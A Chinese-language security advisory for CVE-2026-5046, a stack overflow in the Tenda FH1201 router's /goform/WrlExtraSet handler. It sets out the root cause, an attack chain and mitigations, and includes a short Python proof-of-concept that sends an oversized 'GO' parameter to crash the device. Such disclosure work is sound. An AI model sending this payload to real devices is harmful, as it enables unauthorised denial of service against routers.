IPBUF安全漏洞报告
English
CVE-2026-5046 CVSS 8.8 高危

CVE-2026-5046 Tenda FH1201 栈溢出漏洞

披露日期: 2026-03-29

漏洞信息

漏洞编号
CVE-2026-5046
漏洞类型
栈溢出
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Tenda FH1201

相关标签

栈溢出缓冲区溢出Tenda路由器RCEIoT

漏洞概述

Tenda FH1201路由器固件版本1.2.0.14(408)中的/goform/WrlExtraSet接口存在严重的栈溢出漏洞。该漏洞由formWrlExtraSet函数处理参数GO时缺乏严格的边界检查引起。攻击者可无需用户交互,通过发送特制的恶意数据包进行远程攻击。成功利用此漏洞可能导致缓冲区溢出,进而造成设备崩溃、拒绝服务或在设备上执行任意代码,获取系统控制权。

技术细节

该漏洞的根本原因在于Tenda FH1201固件中的Parameter Handler组件在处理用户输入时未进行有效的长度验证。具体来说,位于/goform/WrlExtraSet的formWrlExtraSet函数直接使用不安全的字符串操作函数(如strcpy)将用户提交的“GO”参数拷贝到栈上的局部变量缓冲区中。由于攻击者可以控制该参数的内容和长度,当输入数据超过缓冲区大小时,会触发基于栈的缓冲区溢出。这将覆盖栈上的返回地址等关键数据,允许攻击者重定向程序执行流程。结合CVSS向量(AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H),攻击者可利用此漏洞从远程以低权限实现完全的系统控制,包括机密性、完整性和可用性的破坏。

攻击链分析

STEP 1
侦察阶段
攻击者扫描网络,识别开放Web管理界面的Tenda FH1201设备,并确认其固件版本为1.2.0.14(408)。
STEP 2
漏洞利用
攻击者构造包含超长“GO”参数的恶意HTTP POST请求,发送至目标设备的/goform/WrlExtraSet接口。
STEP 3
溢出执行
设备在处理请求时,formWrlExtraSet函数发生栈溢出,覆盖返回地址,劫持控制流,导致设备重启或执行恶意Shellcode。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target IP address of the vulnerable device target_ip = "192.168.0.1" url = f"http://{target_ip}/goform/WrlExtraSet" # Malicious payload to trigger stack overflow # The length depends on the specific buffer size, often requiring several hundred bytes payload = "A" * 1000 data = { "GO": payload } try: print(f"Sending exploit payload to {url}...") response = requests.post(url, data=data, timeout=5) print(f"Response status code: {response.status_code}") if response.status_code == 200 or response.status_code == 500: print("Potential trigger observed (Device may crash or be unresponsive).") except requests.exceptions.RequestException as e: print(f"Request failed (Device likely crashed): {e}")

影响范围

Tenda FH1201 1.2.0.14(408)

防御指南

临时缓解措施
如果无法立即升级固件,建议暂时禁用路由器的远程Web管理功能,并将管理端口不直接暴露在公网。同时,应通过ACL(访问控制列表)严格限制允许访问管理后台的源IP地址,以减少被攻击的风险。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表